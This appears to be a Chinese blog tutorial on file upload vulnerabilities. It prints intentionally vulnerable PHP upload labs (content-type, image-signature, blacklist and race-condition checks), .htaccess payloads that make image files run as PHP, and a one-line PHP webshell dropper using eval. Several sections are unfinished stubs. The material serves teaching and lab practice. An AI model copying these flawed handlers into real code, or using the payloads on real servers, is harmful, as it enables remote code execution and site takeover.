[web安全原理分析]-文件上传漏洞基础
简介
前端JS过滤绕过
待更新。。。
文件名过滤绕过
待更新
Content-type过滤绕过
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="1.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
<hr>
<center>榆林学院信息安全协会 2020/5/18</center>
</body>
</html>
<?php if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名
$type=$upfile["type"]; //获取上传文件的类型
$size=$upfile["size"]; //获取上传文件的大小
$tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 switch($type){
case 'image/pjepg':$oktype=true;
break;
case 'image/jpeg':$oktype=true;
break;
case 'image/gif':$oktype=true;
break;
case 'image/png':$oktype=true;
break; }
if(!$oktype){
echo "<font color='red'>只能上传图像文件</font>";
die();
}else{ $error=$upfile["error"];
echo "====================<br>";
echo "上传文件名称是:".$name."<br>";
echo "上传文件类型是:".$type."<br>";
echo "上传文件大小是:".$size."<br>";
echo "上传后系统返回的值是:".$error."<br>";
echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'upload/'.$name);
$destination="upload/".$name;
echo "====================<br/>";
if($error==0){
echo "文件上传成功";
echo "<br>图片预览</br>";
echo "<img src=".$destination.">";
}
} } ?>
需要upload目录
过
简介
环境复现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="1.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
<hr>
<center>榆林学院信息安全协会 2020/5/18</center>
</body>
</html>
<?php if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名
$type=substr($name,strrpos($name,'.')+1); //获取上传文件的后缀
$size=$upfile["size"]; //获取上传文件的大小
$tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //判断是否为图片
//exif_imagetype() 读取一个图像的第一个字节并检查其签名。
if(!exif_imagetype($_FILES['upfile']['tmp_name'])){
echo "<font color='red'>只能上传图像文件</font>";
die();
}else{ $error=$upfile["error"];
echo "====================<br>";
echo "上传文件名称是:".$name."<br>";
echo "上传文件类型是:".$type."<br>";
echo "上传文件大小是:".$size."<br>";
echo "上传后系统返回的值是:".$error."<br>";
echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'upload/'.$name);
$destination="upload/".$name;
echo "====================<br/>";
if($error==0){
echo "文件上传成功";
echo "<br>图片预览</br>";
echo "<img src=".$destination.">";
}
} } ?>
extension=php_mbstring.dll
extension=php_exif.dll
上传PHP文件 拦截 改头
.htaccess文件上传
htaccess上传是利用.htacess文件对web服务器进行配置的功能,实现将扩展名.jpg、.png等文件当作PHP文件解析的过程
.htaccess基础
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
.htaccess是web服务器的一个配置文件,可以通过.htaccess文件实现web服务器中的文件的解析方式、重定向等配置
开启.htaccess配置
1.修改配置文件httpd.conf
Options FollowSymLinks AllowOverride None 修改为: Options FollowSymLinks AllowOverride All
2.去掉mod_rewrite.so的注释,开启rewrite模块
# LoadModule foo_module modules/mod_foo.so
漏洞复现
漏洞代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
<hr>
<center>榆林学院信息安全协会 2020/2/29</center>
</body>
</html>
<?php
if(isset($_POST["upload"])){
$upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名
$type=substr($name,strrpos($name,'.')+1); //获取上传文件的后缀
$size=$upfile["size"]; //获取上传文件的大小
$tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //通过正则表达式黑名单过滤php、php1、pjp3等但是我们可以上传.htaccess文件
if(preg_match('/php.*/i',$type)){
echo "<script>alert('不能上传php文件!');</script>";
die();
}else{ $error=$upfile["error"];
echo "====================<br>";
echo "上传文件名称是:".$name."<br>";
echo "上传文件类型是:".$type."<br>";
echo "上传文件大小是:".$size."<br>";
echo "上传后系统返回的值是:".$error."<br>";
echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'upload/'.$name);
$destination="upload/".$name;
echo "====================<br/>";
if($error==0){
echo "文件上传成功";
echo "<br>图片预览</br>";
echo "<img src=".$destination.">";
}
} } ?>
上传.htaccess文件内容为
SetHandler application/x-httpd-php //将目录下所有文件当成PHP来解释
或者
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//将该目录下匹配的jpg当成php执行

上传名字为xiaohua.jpg文件 内容为phpinfo();

访问执行

.user.ini文件上传
https://www.cnblogs.com/xhds/p/12381390.html
文件截断上传
待更新
竞争条件上传
漏洞简介
环境复现
漏洞代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="1.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"> <input type="submit" name="upload" value="提交">
</form>
<hr>
<center>榆林学院信息安全协会 2020/5/18</center>
</body>
</html>
<?php
if(isset($_POST["upload"])){
$upfile=$_FILES["upfile"];
$filename=$upfile["name"]; //获取上传文件的文件名
$tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //白名单
$allow_ext=array("gif","png","jpg"); move_uploaded_file($tmp_name,"up/".$filename);
$file="./up/".$filename;
echo "文件上传成功:".$file."\n<br />";
$ext=array_pop(explode(".",$filename));
//array_pop() 删除数组中最后一个元素
//explode()函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 if(!in_array($ext,$allow_ext)){
unlink($file);
die("此文件类型不允许,已删除");
} } ?>
需要在目录中创建up文件夹用来保存上传文件
漏洞分析利用
<?php
fputs(fopen("shell.php","w"),"<?php @eval($_POST[xiaohua];?)>");
?>
漏洞修补
[web安全原理分析]-文件上传漏洞基础的更多相关文章
- Web应用安全之文件上传漏洞详解
什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...
- WEB服务端安全---文件上传漏洞
1.简述 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力.这种攻击方式是最直接和有效的,而且互联网中我们经常会用到文件上传功能,它本身是没有问题的,正常的业 ...
- web服务端安全之文件上传漏洞
一.文件上传漏洞的原理 由于程序代码未对用户提交的文件进行严格的分析和检查,导致攻击者可以上传可执行的代码文件,从而获取web应用的控制权限. 常见于上传功能,富文本编辑器. 二.文件上传漏洞的防御 ...
- 基于 java 【Web安全】文件上传漏洞及目录遍历攻击
前言:web安全之文件上传漏洞,顺带讲一下目录遍历攻击.本文基于 java 写了一个示例. 原理 在上网的过程中,我们经常会将一些如图片.压缩包之类的文件上传到远端服务器进行保存.文件上传攻击指的是恶 ...
- web安全之文件上传漏洞攻击与防范方法
一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...
- 文件上传漏洞靶场分析 UPLOAD_LABS
文件上传漏洞靶场(作者前言) 文件上传漏洞 产生原理 PASS 1) function checkFile() { var file = document.getElementsByName('upl ...
- Hadoop之HDFS原理及文件上传下载源码分析(下)
上篇Hadoop之HDFS原理及文件上传下载源码分析(上)楼主主要介绍了hdfs原理及FileSystem的初始化源码解析, Client如何与NameNode建立RPC通信.本篇将继续介绍hdfs文 ...
- WEB安全:文件上传漏洞
文件上传漏洞过程 用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力. 一般的情况有: 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行: ...
- 【代码审计】UKCMS_v1.1.0 文件上传漏洞分析
0x00 环境准备 ukcms官网:https://www.ukcms.com/ 程序源码下载:http://down.ukcms.com/down.php?v=1.1.0 测试网站首页: 0x0 ...
随机推荐
- Vue留言 checked框案列
在命令行窗口输入vue create "工程名"命令 来创建vue脚手架
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- javaweb学习笔记整理补课
javaweb学习笔记整理补课 * JavaWeb: * 使用Java语言开发基于互联网的项目 * 软件架构: 1. C/S: Client/Server 客户端/服务器端 * 在用户本地有一个客户端 ...
- nginx给consul集群配置负载均衡
upstream consul { server 127.0.0.1:8501; server 127.0.0.1:8502; server 127.0.0.1:8503; } server { li ...
- 梯度vs Jacobian矩阵vs Hessian矩阵
梯度向量 定义: 目标函数f为单变量,是关于自变量向量x=(x1,x2,-,xn)T的函数, 单变量函数f对向量x求梯度,结果为一个与向量x同维度的向量,称之为梯度向量: 1. Jacobian 在向 ...
- 双非本科拿到阿里腾讯字节,分享Java后端路线
前言 最近有很多小师妹来问我. 师妹:师兄~看了你之前的从腾讯到阿里,最后选择字节,觉得你特别厉害,请问你是怎么进BAT的呀,能不能告诉我你的学习路线呀~ 既然小师妹都这么问了,那我在这篇就如实回答她 ...
- Go之NSQ简介,原理和使用
NSQ简介 NSQ是Go语言编写的一个开源的实时分布式内存消息队列,其性能十分优异. NSQ 是实时的分布式消息处理平台,其设计的目的是用来大规模地处理每天数以十亿计级别的消息.它具有分布式和去中心化 ...
- D. New Year Santa Network 解析(思維、DFS、組合、樹狀DP)
Codeforce 500 D. New Year Santa Network 解析(思維.DFS.組合.樹狀DP) 今天我們來看看CF500D 題目連結 題目 給你一棵有邊權的樹,求現在隨機取\(3 ...
- 浅谈分布式共识算法raft
前言:在分布式的系统中,存在很多的节点,节点之间如何进行协作运行.高效流转.主节点挂了怎么办.如何选主.各节点之间如何保持一致,这都是不可不面对的问题,此时raft算法应运而生,专门 用来解决上述问题 ...
- go-zero 是如何追踪你的请求链路的
go-zero 是如何追踪你的请求链路 微服务架构中,调用链可能很漫长,从 http 到 rpc ,又从 rpc 到 http .而开发者想了解每个环节的调用情况及性能,最佳方案就是 全链路跟踪. 追 ...